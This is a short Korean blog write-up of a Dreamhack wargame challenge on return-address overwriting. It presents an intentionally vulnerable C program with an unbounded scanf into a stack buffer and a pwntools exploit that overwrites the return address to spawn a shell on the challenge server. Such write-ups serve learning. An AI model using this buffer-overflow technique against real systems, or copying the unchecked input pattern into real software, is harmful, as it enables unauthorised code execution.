[Dreamhack] Return Address Overwrite

김성진·2022년 7월 17일
0

Dreamhack_System

목록 보기
12/44

📒 Description & Checksec


📒 C code

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

으음... buf에는 제한 없이 입력을 받고 있다. ret주소를 get_shell로 옮기면 어떻게 될까?


📒 Exploit

📖 exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 23592)

get_shell = 0x00000000004006aa

payload = 'a' * 0x38
payload += p64(get_shell)

p.recvuntil('Input: ')
p.sendline(payload)

p.interactive()

성공 ~

profile
Today I Learned

0개의 댓글